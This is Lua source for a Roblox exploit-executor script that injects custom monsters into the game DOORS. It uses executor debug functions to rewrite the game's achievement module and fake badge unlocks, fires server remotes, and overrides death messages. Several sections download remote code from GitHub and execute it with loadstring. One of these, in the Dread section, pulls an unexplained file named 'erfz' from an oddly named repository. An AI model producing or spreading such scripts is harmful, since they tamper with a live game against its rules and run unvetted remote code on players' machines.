game.TweenService:Create(static,TweenInfo.new(1),{Volume = 0}):Play()
ripperscare.Anchored = false
ripperscare.CanCollide = false
char:FindFirstChild("HumanoidRootPart").Anchored = false
v.Character:FindFirstChildWhichIsA("Humanoid"):TakeDamage(100)
DEATHMESSAGE({"You died to who you call Ripper...","You can tell his presence by the lights and his scream.","Hide when he does this!"},"Ripper")
end
coroutine.wrap(GJQAHX_fake_script)()
end
end
if v.Character ~= nil then
if v.Character:FindFirstChild("HumanoidRootPart") and (ambush.Position - v.Character:FindFirstChild("HumanoidRootPart").Position).magnitude < val then
camShake:ShakeOnce(15,25,0,2,1,6)
end
end
if breakMove then break end
end
end)
----------------------
game.Debris:AddItem(amb,10)
ambush.Ambush:Stop()
local h = ambush.Ambush
h.SoundId = "rbxassetid://6963538865"
h.Volume = 10
h.RollOffMinDistance = 5
h.PlaybackSpeed = 0.37
h.TimePosition = 0
h.Volume = 10
wait(8)
ambush.Ambush:Play()
game.TweenService:Create(ambush.Ambush,TweenInfo.new(6),{Volume = 0.8}):Play()
local gruh = workspace.CurrentRooms
ambruhspeed = DEF_SPEED
for i = 1, game.ReplicatedStorage.GameData.LatestRoom.Value do
if gruh:FindFirstChild(i) then
if breakMove then break end
print("room "..i)
local room = gruh[i]
if room:FindFirstChild("Nodes") then
local nodes = room:FindFirstChild("Nodes")
for v = 1, #nodes:GetChildren() do
if nodes:FindFirstChild(v) then
if breakMove then break end
local waypoint = nodes[v]
local Distance = (ambush.Position - waypoint.Position).magnitude -- Get the distance between the current position and the next node
local fakejays = game.TweenService:Create(ambush,TweenInfo.new(GetTime(Distance, ambruhspeed), Enum.EasingStyle.Linear,Enum.EasingDirection.Out, 0,false,0),{CFrame = waypoint.CFrame + ambushheight})
fakejays:Play()
fakejays.Completed:Wait()
ambruhspeed = storer
if room.Name == game.ReplicatedStorage.GameData.LatestRoom.Value then
room:WaitForChild("Door").ClientOpen:FireServer()
end
end
end
end
end
print("looping")
end
----------------------
workspace.CurrentRooms[game.ReplicatedStorage.GameData.LatestRoom.Value]:WaitForChild("Door").ClientOpen:FireServer()
local slam = Instance.new("Sound",ambush)
slam.Volume = 10
slam.SoundId = "rbxassetid://13031395183"
slam:Play()
print("This is supposed to play STUPID")
wait(1)
ambush.Anchored = false
ambush.CanCollide = false
game.Debris:AddItem(s,5)
if gotRippersBadge == false then gotRippersBadge = true
getgenv().Title = "Torn Apart" --Title Here
getgenv().Description = "Dont leave to early.." --Description Here
getgenv().Reason = "Encounter Ripper." --Reason Here
getgenv().BadgeId = 2129409220 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
spawn(function()
Unlock(nil,"Join")
end)
end
end
pcall(THEHORROR)
end
end
a()
end)
local gotshocker = false
spawn(function()
while wait(math.random(6,100)) do
local killed = false
local ReSt = game:GetService("ReplicatedStorage")
local Plr = game.Players.LocalPlayer
local val = 80
local events = require(game.ReplicatedStorage.ClientModules.Module_Events)
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
function GetTime(Distance, Speed)
-- Time = Distance / Speed
local Time = Distance / Speed
return Time
end
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
return sound
end
local function GetGitModel(ModelUrl,ModelName)
if not isfile(ModelName..".txt") then writefile(ModelName..".txt", game:HttpGet(ModelUrl)) end
local a=game:GetObjects((getcustomasset or getsynasset)(ModelName..".txt"))[1]
a.Name=ModelName
return a
end
local Model = game:GetObjects("rbxassetid://11547803978")[1] ---11547601187
Model.Parent = workspace
local Shocker = Model:FindFirstChildWhichIsA("BasePart")
function IsScreen()
local isOnScreen = select(2, camera:WorldToViewportPoint(Shocker.Position));
if isOnScreen then
return true
end
end
local dead = false
local offset = Vector3.new(0,0,-math.random(5,20))
Shocker.CFrame = Plr.Character.HumanoidRootPart.CFrame*CFrame.new(offset)
Shocker.PlaySound:Play()
spawn(function()
wait(2)
if IsScreen() then
dead = true
end
end)
repeat wait() until dead == true or not IsScreen()
if dead == true then
spawn(function()
while dead do wait()
if Plr.Character:FindFirstChildWhichIsA("Humanoid") then
Plr.Character:FindFirstChildWhichIsA("Humanoid").WalkSpeed = 0
end
end
end)
Shocker["HORROR SCREAM 15"]:Play()
game.TweenService:Create(Shocker,TweenInfo.new(0.4,Enum.EasingStyle.Circular,Enum.EasingDirection.In),{CFrame = Plr.Character.HumanoidRootPart.CFrame}):Play()
wait(0.4)
Plr.Character:FindFirstChildWhichIsA("Humanoid"):TakeDamage(30)
camShake:Shake(cameraShaker.Presets.Explosion)
DEATHMESSAGE({"You died to who you call Shocker..","Dont look at it or it stuns you!"},"Shocker")
game.TweenService:Create(Shocker,TweenInfo.new(0.4,Enum.EasingStyle.Circular,Enum.EasingDirection.In),{CFrame = Shocker.CFrame + Vector3.new(0,-10,0)}):Play()
game.TweenService:Create(Shocker.PlaySound,TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.In),{Volume = 0}):Play()
wait(1)
Shocker:Destroy()
wait(2)
dead = false
end
if dead == false then
if gotshocker == false then gotshocker = true
getgenv().Title = "Shocking Experience" --Title Here
getgenv().Description = "Look at me." --Description Here
getgenv().Reason = "Encounter Shocker." --Reason Here
getgenv().BadgeId = 2129271052 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
spawn(function()
Unlock(nil,"Join")
end)
end
game.TweenService:Create(Shocker,TweenInfo.new(0.4,Enum.EasingStyle.Circular,Enum.EasingDirection.In),{CFrame = Shocker.CFrame + Vector3.new(0,-20,0)}):Play()
game.TweenService:Create(Shocker.PlaySound,TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.In),{Volume = 0}):Play()
wait(1)
Shocker:Destroy()
end
end
end)
local CanSpawn = { --- CEASE
[1] = false,
[2] = false,
[3] = false,
[4] = true,
[5] = true,
[6] = false,
[7] = true,
[8] = true,
[9] = false,
[10] = false,
[11] = false,
[12] = true,
[13] = false,
[14] = false,
[15] = false,
[16] = true,
[17] = false,
[18] = false,
[19] = false,
[20] = false,
[21] = false,
[22] = true,
[23] = false,
[24] = false,
[25] = false,
[26] = true,
[27] = false,
[28] = false,
[29] = false,
[30] = false,
[31] = false,
[32] = true,
[33] = false,
[34] = false,
[35] = false,
[36] = true,
[37] = false,
[38] = false,
}
local num = 0
local function scawy()
wait()
if (workspace.Ambience_Seek.Playing) then
scawy()
return
end
local killed = false
local Plr = game.Players.LocalPlayer
local ReSt = game.ReplicatedStorage
local val = 80
local events = require(game.ReplicatedStorage.ClientModules.Module_Events)
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
function GetTime(Distance, Speed)
-- Time = Distance / Speed
local Time = Distance / Speed
return Time
end
local DEF_SPEED = 99999
local function MakeNormal(Light)
spawn(function()
local lightcolor = Light.Color
task.wait(5)
game.TweenService:Create(Light,TweenInfo.new(0.5),{Color = lightcolor}):Play()
end)
end
---configs
local ambruhspeed = 40
local storer = ambruhspeed
local ambushheight = Vector3.new(0,3,0)
local redtweeninfo = TweenInfo.new(0.5)
local redinfo = {Color = Color3.new(0.454902, 0.529412, 1)}
----------
camShake:Shake(cameraShaker.Presets.Earthquake)
for i,v in pairs(game.Workspace.CurrentRooms:GetDescendants()) do
if v:IsA("Light") then
pcall(MakeNormal,v)
game.TweenService:Create(v,redtweeninfo,redinfo):Play()
if v.Parent.Name == "LightFixture" then
pcall(MakeNormal,v.Parent:FindFirstChild("Neon"))
pcall(function()
game.TweenService:Create(v.Parent:FindFirstChild("Neon"),redtweeninfo,redinfo):Play()
end)
end
end
end
local s = game:GetObjects("rbxassetid://12262854624")[1]
s.Parent = workspace
local ambush = s:FindFirstChildWhichIsA("BasePart")
ambush.Rush.Volume = 10
ambush.Rush.RollOffMinDistance = 2
ambush.Rush.RollOffMaxDistance = 150
ambush.Silence:Play()
----------------------
--------------
local function canSeeTarget(target,size)
if killed == true then
return
end
local origin = ambush.Position
local direction = (target.HumanoidRootPart.Position - ambush.Position).unit * size
local ray = Ray.new(origin, direction)
local hit, pos = workspace:FindPartOnRay(ray, ambush)
if hit then
if hit:IsDescendantOf(target) then
killed = true
return true
end
else
return false
end
end
-------------------------
--_SHAKER DO NOT MOD IFY
spawn(function()
wait(3)
while ambush ~= nil do wait(0.2)
local v = game.Players.LocalPlayer
local parent = script.Parent
if v.Character ~= nil and v.Character:FindFirstChildWhichIsA("Humanoid").MoveDirection ~= Vector3.new(0,0,0) then
if v.Character:GetAttribute("Hiding") or canSeeTarget(v.Character,50) then
ambush.Rush:Stop()
DEATHMESSAGE({"You died to who you call Cease...","Its tactic is appearing after rush...","It sees through movement and can see anyone in wardrobes."},"Cease")
v.Character:FindFirstChildWhichIsA("Humanoid"):TakeDamage(100)
end
end
if v.Character ~= nil then
if v.Character:FindFirstChild("HumanoidRootPart") and (ambush.Position - v.Character:FindFirstChild("HumanoidRootPart").Position).magnitude < val then
camShake:ShakeOnce(6,66,0,2,1,6)
end
end
end
end)
----------------------
ambush.Rush:Play()
ambush.Rush.Pitch = 0.1
game.TweenService:Create(ambush.Rush,TweenInfo.new(6),{Volume = 0.8}):Play()
local gruh = workspace.CurrentRooms
ambruhspeed = DEF_SPEED
for i = 1, game.ReplicatedStorage.GameData.LatestRoom.Value do
if gruh:FindFirstChild(i) then
print("room "..i)
local room = gruh[i]
if room:FindFirstChild("Nodes") then
local nodes = room:FindFirstChild("Nodes")
for v = 1, #nodes:GetChildren() do
if nodes:FindFirstChild(v) then
local waypoint = nodes[v]
local Distance = (ambush.Position - waypoint.Position).magnitude -- Get the distance between the current position and the next node
local fakejays = game.TweenService:Create(ambush,TweenInfo.new(GetTime(Distance, ambruhspeed), Enum.EasingStyle.Linear,Enum.EasingDirection.Out, 0,false,0),{CFrame = waypoint.CFrame + ambushheight})
fakejays:Play()
fakejays.Completed:Wait()
ambruhspeed = storer
if room.Name == game.ReplicatedStorage.GameData.LatestRoom.Value then
room:WaitForChild("Door").ClientOpen:FireServer()
end
end
end
end
end
end
----------------------
workspace.CurrentRooms[game.ReplicatedStorage.GameData.LatestRoom.Value]:WaitForChild("Door").ClientOpen:FireServer()
ambush.Anchored = false
ambush.CanCollide = false
wait(2)
ambush:Destroy()
end
workspace.DescendantRemoving:Connect(function(inst)
if inst.Name == "RushMoving" then
num = num + 1
if num == 7 then
num = 1
end
if CanSpawn[num] then
if CanSpawn[num] == true then
wait(10)
pcall(scawy)
end
end
end
end)
spawn(function()
------------------------------------------Silence
getgenv().death = false
local function a()
while true do
wait(560)
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureIntense.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
a()
return
end
local Creator = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entity = Creator.createEntity({
Model = "11535812658",
Speed = 40,
DelayTime = 0,
HeightOffset = 0,
CanKill = true,
BreakLights = true,
FlickerLights = {
false,
80,
},
Cycles = {
Min = 1,
Max = 1,
WaitTime = 0.1,
},
CamShake = {
true,
{5, 15, 0.1, 1},
10,
},
Jumpscare = {
true, -- Enabled ('false' if you don't want jumpscare)
{
Image1 = "rbxassetid://11394027278", -- Image1 url
Image2 = "rbxassetid://11395249153", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled
Color3.fromRGB(48, 25, 52), -- Color
},
Tease = {
false, -- Enabled ('false' if you don't want tease)
Min = 1,
Max = 1,
},
},
},
CustomDialog = {"You died to who you call Silence","Stay as silent as possible when you suspect its coming, so you know when to hide!","Its slow, but hard to hear","so hide!" }
})
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
-----[[ Advanced ]]-----
entity.Debug.OnEntitySpawned = function(entity)
end
entity.Debug.OnEntityDespawned = function(entity)
if getgenv().death == false then
getgenv().Title = "Eyes Closed Ears open" --Title Here
getgenv().Description = "Stay silent or I wont be heard" --Description Here
getgenv().Reason = "Encounter Silence" --Reason Here
getgenv().BadgeId = 2129524598 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
Unlock(nil,"Join")
end
end
entity.Debug.OnEntityStartMoving = function(entity)
end
entity.Debug.OnEntityFinishedRebound = function(entity)
end
entity.Debug.OnDeath = function()
getgenv().death = true
end
---------------------------
-- Run the created entity
Creator.runEntity(entity)
end
end
a()
end)
spawn(function()
------------------------------------------A-200
local function a()
while wait(9999999999999) do
local Spawner = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entityTable = Spawner.createEntity({
CustomName = "monster2", -- Custom name of your entity
Model = "11914816436", -- Can be GitHub file or rbxassetid
Speed = 1500, -- Percentage, 100 = default Rush speed
DelayTime = 15, -- Time before starting cycles (seconds)
HeightOffset = 0.1,
CanKill = false,
KillRange = 50,
BackwardsMovement = true,
BreakLights = false,
FlickerLights = {
true, -- Enabled/Disabled
0.5, -- Time (seconds)
},
Cycles = {
Min = 5,
Max = 5,
WaitTime = 0.4,
},
CamShake = {
true, -- Enabled/Disabled
{3.5, 35, 0.1, 1.5}, -- Shake values (don't change if you don't know)
100, -- Shake start distance (from Entity to you)
},
Jumpscare = {
true, -- Enabled/Disabled
{
Image1 = "rbxassetid://10483855823", -- Image1 url
Image2 = "rbxassetid://10483999903", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled/Disabled
Color3.fromRGB(255, 255, 255), -- Color
},
Tease = {
true, -- Enabled/Disabled
Min = 1,
Max = 3,
},
},
},
CustomDialog = {"You can", "put your", "custom death", "message here."}, -- Custom death message
})
-----[[ Debug -=- Advanced ]]-----
local isspawned = false
entityTable.Debug.OnEntitySpawned = function()
isspawned = true
spawn(function()
local modeler = workspace["monster2"]
local faces = modeler.monster2.BillboardGui:GetChildren()
while wait(Random.new():NextInteger(0.5,0.7)) and isspawned do
for i,v in pairs(faces) do
v.Visible = false
end
faces[math.random(1,#faces)].Visible = true
end
end)
end
entityTable.Debug.OnEntityDespawned = function()
print("Entity has despawned:", entityTable)
isspawned = false
end
entityTable.Debug.OnEntityStartMoving = function()
spawn(function()
repeat wait() until workspace["monster2"]
while isspawned do wait(math.random(1,5))
local s = workspace["monster2"].monster2["windy"..math.random(1,4)]
s.RollOffMinDistance = 10
s.RollOffMaxDistance = 500
s:Play()
print("Played "..workspace["monster2"].monster2["windy"..math.random(1,4)].Name)
end
end)
end
entityTable.Debug.OnEntityFinishedRebound = function()
print("Entity has finished rebound:", entityTable)
end
entityTable.Debug.OnEntityEnteredRoom = function(room)
print("Entity:", entityTable, "has entered room:", room)
end
entityTable.Debug.OnLookAtEntity = function()
end
entityTable.Debug.OnDeath = function()
warn("Player has died.")
end
------------------------------------
-- Run the created entity
Spawner.runEntity(entityTable)
end
a()
end
end)
spawn(function()
------------------------------------------FROSTBITE
getgenv().death = false
local function a()
while true do
wait(250)
game.ReplicatedStorage.GameData.LatestRoom:GetPropertyChangedSignal("Value"):Wait()
function DEATHMESSAGE(message,who)
spawn(function()
for i = 1,50 do wait()
game:GetService("ReplicatedStorage").GameStats["Player_".. game.Players.LocalPlayer.Name].Total.DeathCause.Value = who
debug.setupvalue(getconnections(game:GetService("ReplicatedStorage").EntityInfo.DeathHint.OnClientEvent)[1].Function, 1, message,'Blue')
end
end)
end
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
a()
return
end
wait(0.01)
local player = game.Players.LocalPlayer
local Camera = workspace.CurrentCamera
local Character = player.Character or player.CharacterAdded:Wait()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CameraShaker = require(game.ReplicatedStorage:WaitForChild("CameraShaker"))
local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCf)
Camera.CFrame = Camera.CFrame * shakeCf
end)
camShake:Start()
local cors = {}
local mas = Instance.new("Model",game:GetService("Lighting"))
local Model0 = game:GetObjects("rbxassetid://12272255258")[1]
local Part1 = Model0.FrostyNew
local Attachment1 = Part1.Attachment
Model0.Parent = workspace
--for i,v in pairs(mas:GetChildren()) do
-- v.Parent = workspace
-- pcall(function() v:MakeJoints() end)
--end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
local currentLoadedRoom=workspace.CurrentRooms[game:GetService("ReplicatedStorage").GameData.LatestRoom.Value]
local eyes=Part1
local num=math.floor(#currentLoadedRoom.Nodes:GetChildren()/2)
eyes.CFrame=(
num==0 and currentLoadedRoom.Base or currentLoadedRoom.Nodes[num]
).CFrame+Vector3.new(0,11,0)
local ColorCorrectionEffect0 = Instance.new("ColorCorrectionEffect")
ColorCorrectionEffect0.Parent = game:GetService("Lighting")
ColorCorrectionEffect0.TintColor = Color3.new(1, 1, 1)
ColorCorrectionEffect0.Enabled = false
local c = camShake:StartShake(3.6,55,5)
Attachment1.face.Enabled = false
Attachment1.BlackTrail.Enabled = false
Attachment1.Heylois.Enabled = false
Attachment1.smoke.Enabled = true
Attachment1.BlackTrai3l.Enabled = true
Attachment1.BlackTrai2l.Enabled = true
Part1.Part.ParticleEmitter.Enabled = false
Part1["Static Effect"]:Play()
wait(5)
local Entity = Model0
local EntityPart = Part1
EntityPart["Static Effect"]:Play()
game.TweenService:Create(EntityPart["Static Effect"],TweenInfo.new(2),{Pitch = 0}):Play()
c:StartFadeOut(2.5)
wait(2)
local c2 = camShake:StartShake(2,55,25,nil,Vector3.new(5,5,5))
game.TweenService:Create(ColorCorrectionEffect0,TweenInfo.new(7),{TintColor = Color3.new(0.00784314, 0.188235, 1)}):Play()
local diediedie = true
spawn(function()
while wait(1) and diediedie do
local hum = Character:FindFirstChildOfClass("Humanoid")
if hum then
local lighter = Character:FindFirstChild("Lighter")
if lighter then
local EfH = lighter:FindFirstChild("EffectsHolder")
if EfH then
local asdasdasd = EfH.AttachOn
if asdasdasd:FindFirstChildWhichIsA("ParticleEmitter").Enabled == false then
hum:TakeDamage(5)
end
end
else
hum:TakeDamage(5)
end
else
hum:TakeDamage(5)
end
if hum.Health < 10 then
DEATHMESSAGE({"You died to who you call FrostBite...","He will spawn in the middle and start freezing the room.","Find something that has heat to keep you warm!"},"FrostBite")
end
end
end)
ColorCorrectionEffect0.Enabled = true
Attachment1.face.Enabled = true
Attachment1.BlackTrail.Enabled = true
Attachment1.Heylois.Enabled = true
Attachment1.smoke.Enabled = true
Attachment1.BlackTrai3l.Enabled = true
Attachment1.BlackTrai2l.Enabled = true
Part1.Part.ParticleEmitter.Enabled = true
EntityPart.Ambience:Play()
EntityPart.AmbienceFar:Play()
game:GetService("ReplicatedStorage").GameData.LatestRoom:GetPropertyChangedSignal("Value"):Wait()
diediedie = false
c2:StartFadeOut(15)
c:StartFadeOut(1)
Part1["Static Effect"]:Stop()
EntityPart.Ambience:Stop()
EntityPart.AmbienceFar:Stop()
local Sound55 = Instance.new("Sound",Part1)
local FlangeSoundEffect1 = Instance.new("FlangeSoundEffect")
local DistortionSoundEffect2 = Instance.new("DistortionSoundEffect")
FlangeSoundEffect3 = Instance.new("FlangeSoundEffect")
Sound55.Name = "ahhhhhh"
Sound55.MaxDistance = 500
Sound55.Pitch = 0.23999999463558197
Sound55.PlaybackSpeed = 0.23999999463558197
Sound55.RollOffMode = Enum.RollOffMode.InverseTapered
Sound55.SoundId = "rbxassetid://6305809364"
FlangeSoundEffect1.Parent = Sound55
FlangeSoundEffect1.Rate = 0.75
FlangeSoundEffect1.Depth = 1
FlangeSoundEffect1.Mix = 0.7300000190734863
DistortionSoundEffect2.Parent = Sound55
DistortionSoundEffect2.Level = 0.9800000190734863
FlangeSoundEffect3.Parent = Sound55
FlangeSoundEffect3.Rate = 0.25
FlangeSoundEffect3.Depth = 1
FlangeSoundEffect3.Mix = 1
Sound55:Play()
Attachment1.face.Enabled = false
Attachment1.BlackTrail.Enabled = false
Attachment1.Heylois.Enabled = false
Attachment1.smoke.Enabled = true
Attachment1.BlackTrai3l.Enabled = true
Attachment1.BlackTrai2l.Enabled = true
Part1.Part.ParticleEmitter.Enabled = false
Sound55.Ended:Wait()
Attachment1.BlackTrai3l.Enabled = false
Attachment1.BlackTrai2l.Enabled = false
Attachment1.smoke.Enabled = false
wait(2)
Model0:Destroy()
game.TweenService:Create(ColorCorrectionEffect0,TweenInfo.new(7),{TintColor = Color3.new(1, 1, 1)}):Play()
end
end
a()
end)
-------------- spawndreadadmin
function dread()
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
sound.Parent = workspace
return sound
end
local function IsVisible(part)
local vec, found=workspace.CurrentCamera:WorldToViewportPoint(part.Position)
local onscreen = found and vec.Z > 0
local cfg = RaycastParams.new();
cfg.FilterType = Enum.RaycastFilterType.Blacklist
cfg.FilterDescendantsInstances = {part};
local cast = workspace:Raycast(part.Position, (game.Players.LocalPlayer.Character.UpperTorso.Position - part.Position), cfg);
return (onscreen and true) and ((cast and cast.Instance).Parent==game.Players.LocalPlayer.Character and true)
end
local doorsopened = 0
--Shaking
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end);
camShake:Start()
camShake:ShakeOnce(2,10,1,1)
local Dread = game:GetObjects("rbxassetid://12329981842")[1]
Dread.Parent = workspace
local currentLoadedRoom=workspace.CurrentRooms[game:GetService("ReplicatedStorage").GameData.LatestRoom.Value]
local main = Dread.RushNew
local num=math.floor(#currentLoadedRoom.Nodes:GetChildren()/2)
main.CFrame=(
num==0 and currentLoadedRoom.Base or currentLoadedRoom.Nodes[num]
).CFrame+Vector3.new(0,6,0)
game.Lighting.Ambience_Dread.Enabled = true
game.Lighting.Ambience_Dread.Brightness = 0
game.Lighting.Ambience_Dread.Contrast = 0
game.Lighting.Ambience_Dread.Saturation = 0
game:GetService("TweenService"):Create(game.Lighting.Ambience_Dread, TweenInfo.new(2), {
Brightness = 0.1,
Contrast = 0.2,
Saturation = -0.7
}):Play()
--dEATH
coroutine.wrap(function()
while true do
if (IsVisible(main)) then
wait(1.5)
game.Lighting.Ambience_Dread.Enabled = false
local maingame = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Game)
maingame.stopcam = true
local cam = workspace.CurrentCamera
local ccf = cam.CFrame
cam.CameraType = Enum.CameraType.Scriptable
local tweencam = game:GetService("TweenService"):Create(cam, TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {CFrame = CFrame.lookAt(ccf.p, main.Position)})
tweencam:Play()
wait(0.15)
c=GetGitSound("https://github.com/XAtomMaster339871/dkrsoilcfrkjghfhgrthngnrtuyghrtuhngur/blob/main/death.mp3?raw=true","i work at burging king")
c:Play()
tweencam:Pause()
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName == "ParticleEmitter" then
v.TimeScale = 0
end
end
wait(2)
game.Lighting.MainColorCorrection.Brightness = -9
game.Lighting.MainColorCorrection.Contrast = -2
game.Lighting.MainColorCorrection.Saturation = -4
for i,v in pairs(main:GetDescendants()) do
if v.Name == "PointLight" then
v:Destroy()
end
end
camShake:ShakeOnce(10,100,0.1,104354646954769847687467495765768736985763475687468745678547697459675498769854796745967987654765743867)
wait(1)
local maingame = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Game)
maingame.stopcam = false
maingame.freemouse = false
wait(0.4)
loadstring(game:HttpGet(("https://raw.githubusercontent.com/XAtomMaster339871/dkrsoilcfrkjghfhgrthngnrtuyghrtuhngur/main/erfz"),true))()
firesignal(game.ReplicatedStorage.EntityInfo.DeathHint.OnClientEvent, {"You died to Dread...","Its presence is summoned when the clock hits 12...","Do not observe it! You may lose your sanity!"}, "Blue")
break
end
task.wait(0.5)
end
end)()
-- Destroy Dread After 3 Rooms
coroutine.wrap(function()
game:GetService("ReplicatedStorage").GameData.LatestRoom.Changed:Wait()
task.wait()
game:GetService("ReplicatedStorage").GameData.LatestRoom.Changed:Wait()
task.wait()
game:GetService("ReplicatedStorage").GameData.LatestRoom.Changed:Wait()
Dread:Destroy()
game.Lighting.Ambience_Dread.Enabled = false
end)()
end
----------- A-90
spawn(function()
while wait(5) do
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
local TweenService = game:GetService("TweenService")
local LocalPlayer = game.Players.LocalPlayer
local UI = game.Players.LocalPlayer.PlayerGui.MainUI
local Jumpscare_A90 = UI.Jumpscare.Jumpscare_A90
local A90Module = UI.Initiator.Main_Game.RemoteListener.Modules.A90
local MainGame = require(UI.Initiator.Main_Game)
local Attacking = true
local Moved = false
local LookVector4 = MainGame.cam.CFrame.LookVector
local idkValue = 0
game.SoundService.Main.Volume = 0
Jumpscare_A90.Face.Image = "http://www.roblox.com/asset/?id=12635832722"
Jumpscare_A90.FaceAngry.Image = "http://www.roblox.com/asset/?id=12635955412"
A90Module.Spawn.SoundGroup = nil
A90Module.Hit.SoundGroup = nil
A90Module.Spawn:Play()
Jumpscare_A90.BackgroundTransparency = 1
Jumpscare_A90.Face.Visible = true
Jumpscare_A90.FaceAngry.Visible = false
Jumpscare_A90.Static.Visible = true
Jumpscare_A90.Static2.Visible = true
Jumpscare_A90.Static.ImageTransparency = 1
Jumpscare_A90.Static2.ImageTransparency = 1
Jumpscare_A90.Face.ImageColor3 = Color3.new(0, 0, 0)
Jumpscare_A90.Face.Rotation = Random.new():NextNumber(-5, 5)
Jumpscare_A90.Face.Position = UDim2.new(Random.new():NextNumber(10, 90) / 100, 0, Random.new():NextNumber(10, 90) / 100, 0)
Jumpscare_A90.Visible = true
task.wait(0.03)
Jumpscare_A90.Face.ImageColor3 = Color3.new(1, 1, 1)
task.wait(0.28)
Jumpscare_A90.BackgroundTransparency = 0
Jumpscare_A90.Face.Rotation = 0
Jumpscare_A90.Face.Position = UDim2.new(0.5, 0, 0.49, 0)
task.wait(0.03)
Jumpscare_A90.StopIcon.Visible = true
Jumpscare_A90.BackgroundColor3 = Color3.new(0, 0, 0)
Jumpscare_A90.BackgroundTransparency = 1
Jumpscare_A90.Static.ImageTransparency = 0.8
Jumpscare_A90.Static2.ImageTransparency = 0.8
task.delay(0.2, function()
Jumpscare_A90.StopIcon.Visible = false
while Attacking do
local MathRandom = math.random(0, 1)
local BaseValue = 100 + (idkValue * 0.5)
idkValue = idkValue+15
task.wait(0.03)
Jumpscare_A90.Static.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0)
Jumpscare_A90.Static.Rotation = math.random(0, 1) * 180
Jumpscare_A90.Static2.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0)
Jumpscare_A90.Static2.Rotation = math.random(0, 1) * 180
Jumpscare_A90.Face.Position = UDim2.new(0.5, 0, 0.49, math.random(-1, 1))
Jumpscare_A90.FaceAngry.Position = UDim2.new(0.5 + Random.new():NextNumber(-BaseValue, BaseValue) / 50000, 0, 0.49 + Random.new():NextNumber(-BaseValue, BaseValue) / 30000, math.random(-1, 1))
